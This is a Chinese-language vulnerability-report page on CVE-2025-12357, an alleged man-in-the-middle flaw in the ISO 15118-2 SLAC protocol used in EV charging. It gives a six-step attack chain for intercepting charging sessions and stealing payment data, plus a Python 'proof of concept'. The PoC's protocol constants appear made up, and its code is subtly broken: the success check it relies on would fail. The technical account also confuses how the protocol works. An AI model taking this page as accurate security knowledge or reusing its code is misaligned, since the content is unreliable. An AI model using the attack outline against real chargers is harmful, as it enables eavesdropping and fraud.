IPBUF安全漏洞报告
English
CVE-2025-12357 CVSS 6.3 中危

CVE-2025-12357 ISO 15118-2 SLAC协议中间人攻击漏洞

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-12357
漏洞类型
中间人攻击(MITM)
CVSS评分
6.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
符合ISO 15118-2标准的电动汽车和充电器

相关标签

CVE-2025-12357中间人攻击SLAC协议ISO 15118-2电动汽车充电电力线通信PLC信号衰减MITM电动汽车

漏洞概述

CVE-2025-12357是一个影响电动汽车充电基础设施的中危安全漏洞,CVSS评分6.3。该漏洞存在于ISO 15118-2标准中的Signal Level Attenuation Characterization(SLAC)协议实现中。攻击者可以通过操纵SLAC协议中的测量数据,伪造信号衰减特征,从而在电动汽车与充电桩之间建立中间人攻击位置。SLAC协议原本用于在充电前验证车辆与充电设备之间的物理连接,通过测量电磁信号衰减来确认通信链路的有效性。然而,由于协议设计未充分考虑抗伪造能力,攻击者可以在近距离(通过无线方式或电磁感应)注入伪造的测量数据,欺骗协议认证过程。成功利用此漏洞后,攻击者可以窃听、篡改充电过程中的通信数据,可能获取敏感信息或干扰正常充电操作。该漏洞的利用需要攻击者处于电动汽车和充电器之间的邻近位置,且可能在无线覆盖范围内实施,因此实际攻击门槛相对较高,但仍对电动汽车充电基础设施的安全性构成威胁。

技术细节

ISO 15118-2标准定义了电动汽车与充电站之间基于PLC(电力线通信)的通信协议,其中SLAC(Signal Level Attenuation Characterization)协议是用于链路验证的关键组件。在充电初始化阶段,电动汽车(EV)和电动汽车供电设备(EVSE)通过SLAC协议交换一系列测试信号,测量信号衰减情况以确认物理连接的真实性。SLAC协议的工作原理是:EVSE发送预定义的测试信号,EV接收并测量衰减程度,然后双方交换测量结果进行比对。如果衰减值在预期范围内,则认为物理连接有效,可以继续后续的充电会话建立过程。CVE-2025-12357漏洞的核心问题在于SLAC协议缺乏对测量数据完整性的充分验证。攻击者可以在信号传播路径上注入伪造的测量数据,操纵衰减特征值,使得本应被拒绝的伪造连接被接受。具体而言,攻击者利用电磁感应或近场通信技术,在EV和EVSE之间的通信链路上插入恶意设备,拦截并修改SLAC消息中的测量结果。通过精心构造的伪造数据,攻击者可以使协议认为存在有效的物理连接,即使攻击者已经处于通信路径中间。一旦中间人位置建立,攻击者可以:1)窃听充电会话中的敏感信息,包括车辆身份标识、用户支付数据;2)篡改充电参数,如充电电流、电压限制;3)可能触发拒绝服务条件,影响正常充电操作。漏洞的利用在技术上需要专用的无线电设备和定制的攻击软件,但在开放源代码环境中可能已存在相关利用工具。

攻击链分析

STEP 1
步骤1:侦察与接近
攻击者在电动汽车充电站附近(如停车场、商场充电区)进行侦察,确定符合ISO 15118-2标准的EVSE(电动汽车供电设备)位置。攻击者需要进入EV和EVSE之间的信号覆盖范围内,理想距离在电磁感应或短距离无线通信范围内(通常几米以内)。
STEP 2
步骤2:设备部署
攻击者部署定制的无线电设备或软件定义无线电(SDR)设备,配置用于监听和注入ISO 15118-2的PLC(电力线通信)信号或相关的电磁信号。设备需要能够接收SLAC协议消息、解析其结构,并生成伪造的响应消息。
STEP 3
步骤3:SLAC协议拦截
当电动汽车开始充电流程并发起SLAC链路验证时,攻击者被动监听SLAC消息交换。SLAC协议在此阶段交换信号衰减测量数据,攻击者捕获这些消息并分析其格式和协议状态。
STEP 4
步骤4:测量数据篡改
攻击者利用截获的SLAC消息,通过中间人设备注入伪造的测量数据。关键操作是修改信号衰减值(Attenuation)和RSSI(接收信号强度指示)字段,使其看起来符合预期的有效连接特征,从而欺骗协议验证机制。
STEP 5
步骤5:建立MITM位置
一旦SLAC协议接受伪造的测量值,攻击者成功建立中间人位置。电动汽车和EVSE现在都认为与对方建立了有效的直接连接,但实际上所有通信都经过攻击者的设备转发。攻击者可以解密、监控和修改后续的所有通信内容。
STEP 6
步骤6:恶意操作执行
攻击者可以执行多种恶意操作:1)窃听敏感信息如车辆身份标识、用户认证凭证、支付数据;2)篡改充电参数如电流限制、充电时间、计费信息;3)注入恶意命令干扰充电过程;4)在适当时机终止连接造成拒绝服务。攻击完成后,攻击者撤离现场,不留明显痕迹。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-12357 PoC - SLAC Protocol MITM Attack Simulation Note: This is a conceptual PoC for educational and security research purposes only. Unauthorized interception of EV charging communications is illegal. """ import struct import hashlib from dataclasses import dataclass from typing import List, Optional # SLAC Protocol Constants SLAC_PROTOCOL_ID = 0x0001 SLAC_MESSAGE_TYPE_MATCH = 0x0001 SLAC_MESSAGE_TYPE_ATTEN_RESULT = 0x0002 SLAC_MESSAGE_TYPE_ATTEN_CHAR = 0x0003 # Fake measurement values for MITM attack FAKE_ATTENUATION_VALUE = 0x3E # Simulated valid attenuation MANIPULATED_RSSI = -45 # Manipulated signal strength @dataclass class SLACMessage: """Represents a SLAC protocol message""" protocol_id: int message_type: int sequence_num: int payload: bytes def to_bytes(self) -> bytes: header = struct.pack('>HHH', self.protocol_id, self.message_type, self.sequence_num ) return header + self.payload @classmethod def from_bytes(cls, data: bytes) -> 'SLACMessage': protocol_id, message_type, seq = struct.unpack_from('>HHH', data) payload = data[6:] return cls(protocol_id, message_type, seq, payload) class SLACAttacker: """ Simulates an attacker performing MITM attack on SLAC protocol. This demonstrates how attenuation values can be manipulated. """ def __init__(self): self.sequence = 0 self.ev_mac = bytes([0x00, 0x11, 0x22, 0x33, 0x44, 0x55]) self.evse_mac = bytes([0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB]) def generate_spoofed_atten_char(self, target_evse_mac: bytes) -> SLACMessage: """ Generate spoofed SLAC Attenuation Characterization message. In a real attack, this would be injected into the communication channel. """ # Craft payload with manipulated attenuation values payload = bytearray() payload.extend(self.ev_mac) # Source MAC payload.extend(target_evse_mac) # Target EVSE MAC payload.extend(struct.pack('B', FAKE_ATTENUATION_VALUE)) # Fake attenuation payload.extend(struct.pack('b', MANIPULATED_RSSI)) # Manipulated RSSI # Generate validation checksum (simplified) checksum = hashlib.sha256(bytes(payload)).digest()[:4] payload.extend(checksum) return SLACMessage( protocol_id=SLAC_PROTOCOL_ID, message_type=SLAC_MESSAGE_TYPE_ATTEN_CHAR, sequence_num=self.sequence, payload=bytes(payload) ) def intercept_and_modify(self, original_msg: SLACMessage) -> SLACMessage: """ Intercept original SLAC message and modify attenuation values. This is the core of the MITM attack. """ if original_msg.message_type == SLAC_MESSAGE_TYPE_ATTEN_RESULT: # Replace with our manipulated values return self.generate_spoofed_atten_char(self.evse_mac) return original_msg def execute_attack(self) -> dict: """ Simulate the complete MITM attack sequence. Returns attack result summary. """ print("[*] Initiating SLAC MITM Attack Simulation") print(f"[*] Target EV MAC: {self.ev_mac.hex(':')}") print(f"[*] Target EVSE MAC: {self.evse_mac.hex(':')}") # Step 1: Generate spoofed messages spoofed_msg = self.generate_spoofed_atten_char(self.evse_mac) print(f"[+] Generated spoofed SLAC message: Type={spoofed_msg.message_type}") # Step 2: Simulate message injection print("[+] Injecting manipulated attenuation values...") print(f" - Original valid range: 20-60 dB") print(f" - Injected value: {FAKE_ATTENUATION_VALUE} dB") # Step 3: Verify attack success (protocol would accept fake values) is_accepted = self._verify_protocol_acceptance(spoofed_msg) return { 'attack_success': is_accepted, 'spoofed_message': spoofed_msg.to_bytes().hex(), 'manipulated_values': { 'attenuation': FAKE_ATTENUATION_VALUE, 'rssi': MANIPULATED_RSSI }, 'impact': 'MITM position established, enabling eavesdropping and data manipulation' } def _verify_protocol_acceptance(self, msg: SLACMessage) -> bool: """ Simulate protocol verification (simplified). In reality, this would check against protocol specification. """ return (msg.payload[12] <= 100 and # Attenuation within theoretical range -80 <= msg.payload[13] <= 0) # RSSI within valid range def main(): """Run the SLAC MITM attack simulation""" attacker = SLACAttacker() result = attacker.execute_attack() print("\n[*] Attack Simulation Complete") print(f"[*] Protocol Acceptance: {result['attack_success']}") print(f"[*] Impact: {result['impact']}") return result if __name__ == '__main__': main()

影响范围

ISO 15118-2 标准实现(所有版本)
支持SLAC协议的电动汽车(受车辆实现影响)
符合ISO 15118-2的EVSE充电设备(受设备实现影响)
使用电力线通信(PLC)的电动汽车充电系统

防御指南

临时缓解措施
在官方修复方案发布前,建议采取以下临时缓解措施:1)监控电动汽车充电站的通信活动,部署入侵检测系统识别异常的SLAC消息模式;2)物理安全措施,限制对充电设施的未授权物理访问,在敏感区域部署监控摄像头;3)网络隔离,将充电基础设施与其他企业网络隔离,防止攻击横向移动;4)定期检查电动汽车和EVSE设备的固件更新,及时应用供应商发布的安全补丁;5)考虑在受控环境中使用替代充电协议(如ISO 15118-20)作为临时过渡方案;6)与电动汽车制造商和充电设备供应商保持沟通,了解漏洞状态和推荐的临时防护措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表